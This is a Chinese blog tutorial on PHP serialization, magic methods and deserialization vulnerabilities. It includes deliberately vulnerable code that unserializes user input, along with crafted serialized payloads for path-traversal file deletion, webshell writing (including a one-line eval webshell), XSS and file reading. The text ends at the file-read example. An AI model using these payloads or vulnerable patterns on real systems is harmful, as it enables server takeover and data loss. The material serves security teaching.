还在啃“反序列化”这块硬骨头？从零基础到精通，收藏这篇就够了！

本文链接：https://blog.youkuaiyun.com/Python_0011/article/details/146469893

一、啥是序列化？反序列化？（别慌，这俩概念贼简单！）

简单来说，序列化就是把咱们的对象，“biu”的一下变成字符串，方便存储和传输。那反序列化呢？就是把这个“biu”过的字符串，再“biu”回去，变回原来的对象，让程序接着用。在PHP里，这两个“biu”的操作分别由serialize()和unserialize()函数负责。

二、听说过反序列化漏洞没？没听过？那更得往下看了！

当程序“biu”回去的时候（也就是反序列化时），会偷偷摸摸地调用一些“神秘函数”，比如__wakeup(), __destruct()啥的。如果这些函数的参数，不小心被坏人控制了，他们就能往里面塞点恶意代码，搞事情！这就是传说中的反序列化漏洞。

三、序列化函数（serialize）：把对象变成“串儿”的魔法

在PHP里，咱们new 了一个对象之后，可以用serialize()把它变成一个字符串，就像给它穿上了一层“盔甲”，方便保存和传递。

来，上代码！

<?php 
 class Stu{
    public $name = 'aa';
    public $age = 18;
    public function demo(){
        echo "你好啊";
    }
$stu = new Stu();
echo "<pre>";
print_r($stu);
//进行序列化
$stus = serialize($stu);
print_r($stus);
}

?>

看看效果：

四、反序列化(unserialize)：让“串儿”变回对象的魔术

unserialize()就像一个“时光机”，能把序列化后的字符串，还原成原来的对象。为了能用这个对象，我们需要用unserialize重建它。

再来一段代码：

<?php 
    //定义一个Stu类
    class Stu
    {   
        //定义成员属性
        public $name = 'aa';
        public $age = 19;
        //定义成员方法
        public function demo()
        {
            echo '你吃了吗';
        }
    }
    //实例化对象
    $stu = new Stu();
    //进行序列化
    $stus = serialize($stu);
    print_r($stus);
    echo "<br><pre>";
    //进行反序列化
    print_r(unserialize($stus));
 ?>

效果Duang Duang Duang：

五、别眨眼！PHP魔术方法要来了！

魔术方法是PHP面向对象编程的独门秘籍，它们在特定时刻会被自动触发，而且都以双下划线__开头。 掌握它们，你就能轻松玩转PHP的重载（Overloading，就是动态创建类属性和方法）。问题就出在重载的过程中，一不小心就执行了恶意代码。

六、盘点一下那些年我们追过的魔术方法

__construct()：构造函数，对象一出生（创建）的时候，它就跳出来跟你打招呼。
__destruct()：析构函数，对象要嗝屁（销毁）的时候，它会出来跟你说拜拜。
__wakeup()：反序列化的时候，它会看看你在不在，在的话就先跟你聊两句（初始化对象）。
__toString()：当你把一个类当成字符串用的时候，它就会出来冒个泡。
__sleep()：序列化的时候，它会问你想带走哪些属性（可设定序列化时保存的属性）。

七、魔术方法骚操作：玩得好是魔法，玩不好是事故

实战演练，走起！

<?php
  class Stu
    {
       public $name = 'aa';
       public $age = 18;

      function __construct()
      {
        echo '对象被创建了__consrtuct()';
      }
      function __wakeup()
      {
        echo '执行了反序列化__wakeup()';
      }     
       function __toString()
      {
        echo '对象被当做字符串输出__toString';
        return 'asdsadsad';
      }
      function __sleep()
      {
        echo '执行了序列化__sleep';
        return array('name','age');
      }
      function __destruct()
      {
        echo '对象被销毁了__destruct()';
      }

    } 
    $stu =  new Stu();
    echo "<pre>";
   //序列化
    $stu_ser = serialize($stu);
    print_r($stu_ser);
    //当成字符串输出
    echo "$stu";
   //反序列化
    $stu_unser = unserialize($stu_ser);
    print_r($stu_unser);
?>

看看结果：

八、反序列化漏洞实战：一不小心就“原地爆炸”

由于反序列化时unserialize()函数会自动召唤wakeup(), destruct()等“神兽”，如果这些神兽里藏着漏洞或者恶意代码，当我们控制了序列化的字符串，就会触发它们，从而搞破坏。

1. `__destruct()`：死亡倒计时

假设有个网站的正常页面用logfile.php文件，里面的代码用unserialize()进行反序列化，而且反序列化的值是用户可以控制的！ 先来个正常的Stu对象：

代码示例：

<?php 
    header("content-type:text/html;charset=utf-8");
    //引用了logfile.php文件
    include './logfile.php';
    //定义一个类
    class Stu
    {
        public $name = 'aa';
        public $age = 19;
        function StuData()
        {
            echo '姓名:'.$this->name.'<br>';
            echo '年龄:'.$this->age;
        }
    }
    //实例化对象
    $stu = new Stu();
    //重构用户输入的数据
    $newstu = unserialize($_GET['stu']);
    //O:3:"Stu":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:120;}
    echo "<pre>";
    var_dump($newstu) ;
 ?>

logfile.php代码：

<?php 
    class LogFile
    {
        //日志文件名
        public $filename = 'error.log';
        //存储日志文件
        function LogData($text)
        {
            //输出需要存储的内容
            echo 'log some data:'.$text.'<br>';
            file_put_contents($this->filename, $text,FILE_APPEND);
        }
        //删除日志文件
        function __destruct()
        {
            //输出删除的文件
            echo '析构函数__destruct 删除新建文件'.$this->filename;
            //绝对路径删除文件
            unlink(dirname(__FILE__).'/'.$this->filename);
        }
    } 
 ?>

正常情况下，我们输入参数：O:3:"Stu":2:{s:4:"name";s:2:"aa";s:3:"age";i:20;}

现在，我们来搞点事情，重构logfile.php文件包含的对象，让它可以删除文件！

正常重构：O:7:"LogFile":1:{s:8:"filename";s:9:"error.log";}

一切正常，文件被删除了。但是，如果我们修改参数，让它删除其他文件呢？

异常重构：O:7:"LogFile":1:{s:8:"filename";s:10:"../ljh.php";}
执行这段代码

2. `__wakeup()`：醒来搞事情

假设有段代码叫index.php，长这样：

<?php 
    class chybeta
    {
        public $test = '123';
        function __wakeup()
        {
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$this->test);
            fclose($fp);
        }
    }
    $class = @$_GET['test'];
    print_r($class);
    echo "</br>";
    $class_unser = unserialize($class);

    // 为显示效果，把这个shell.php包含进来
    require "shell.php";
 ?>

传入参数：?test=O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

再看看shell.php文件：

甚至可以传入一句话木马： O:7:"chybeta":1:{s:4:"test";s:25:"<?php eval($_POST[1]); ?>";}

3. `__toString()`：把对象当字符串？那就别怪我不客气了！

举个栗子，某个用户类定义了__toString方法，让程序能把类当字符串输出（echo $obj）。 而且，其他类也可能定义了一个__toString方法，允许读取文件。把下面这段代码保存为fileread.php：

fileread.php代码：

<?php 
    //读取文件类
    class FileRead
    {
        public $filename = 'error.log';
        function __toString()
        {
            return file_get_contents($this->filename);
        }
    }
 ?>

某个网站的正常页面引用了fileread.php文件，代码中使用unserialize()进行反序列化，而且反序列化的值是用户可控的！

测试代码：

<?php 
    //引用fileread.php文件
    include './fileread.php';
    //定义用户类
    class User
    {
        public $name = 'aa';
        public $age = 18;
        function __toString()
        {
            return '姓名:'.$this->name.';'.'年龄:'.$this->age;
        }
    }
    //O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}
    //反序列化
    $obj = unserialize($_GET['user']);
    //当成字符串输出触发toString
    echo $obj;
 ?>

正常重构：O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}